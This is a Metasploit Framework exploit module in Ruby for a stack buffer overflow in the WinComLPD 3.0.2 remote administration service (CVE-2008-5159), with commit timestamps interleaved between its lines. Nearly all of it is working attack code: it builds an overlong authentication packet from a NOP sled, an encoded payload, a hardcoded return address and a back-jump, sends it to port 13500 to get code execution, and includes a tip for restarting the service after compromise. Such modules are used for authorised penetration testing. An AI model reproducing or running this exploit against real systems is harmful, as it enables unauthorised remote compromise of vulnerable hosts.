2008-02-07 23:08:14 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2008-02-07 23:08:14 +00:00
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##
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require 'msf/core'
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2008-10-02 05:23:59 +00:00
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class Metasploit3 < Msf::Exploit::Remote
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2009-12-06 05:50:37 +00:00
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Rank = GoodRanking
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2008-02-07 23:08:14 +00:00
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2008-10-02 05:23:59 +00:00
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include Msf::Exploit::Remote::Tcp
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2008-02-07 23:08:14 +00:00
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WinComLPD <= 3.0.2 Buffer Overflow',
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'Description' => %q{
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2010-05-09 17:45:00 +00:00
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This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
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2010-04-30 08:40:19 +00:00
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By sending an overly long authentication packet to the remote
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adminstration service, an attacker may be able to execute arbitrary
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code.
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2008-02-07 23:08:14 +00:00
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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2010-04-30 08:40:19 +00:00
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'References' =>
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[
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2009-09-12 04:22:58 +00:00
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['CVE', '2008-5159'],
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['OSVDB', '42861'],
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2008-02-07 23:08:14 +00:00
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['BID', '27614'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a",
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2010-04-30 08:40:19 +00:00
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'StackAdjustment' => -3500,
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2008-02-07 23:08:14 +00:00
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},
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'Platform' => 'win',
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'Targets' =>
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[
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2008-02-08 22:54:12 +00:00
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[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
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2008-02-07 23:08:14 +00:00
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],
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'Privileged' => true,
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'DisclosureDate' => 'Feb 4 2008',
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'DefaultTarget' => 0))
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2010-04-30 08:40:19 +00:00
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register_options([Opt::RPORT(13500)], self)
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2008-02-07 23:08:14 +00:00
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end
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def exploit
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connect
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# 'net start lpdservice' after you migrate!
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sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
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sploit << make_nops(872 - payload.encoded.length)
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sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
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sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
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sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
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print_status("Trying target #{target.name}...")
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2010-04-30 08:40:19 +00:00
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2008-02-07 23:08:14 +00:00
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sock.puts(sploit)
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2010-06-22 19:11:05 +00:00
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select(nil,nil,nil,5)
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2008-02-07 23:08:14 +00:00
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handler
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disconnect
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end
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2009-09-12 04:22:58 +00:00
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end
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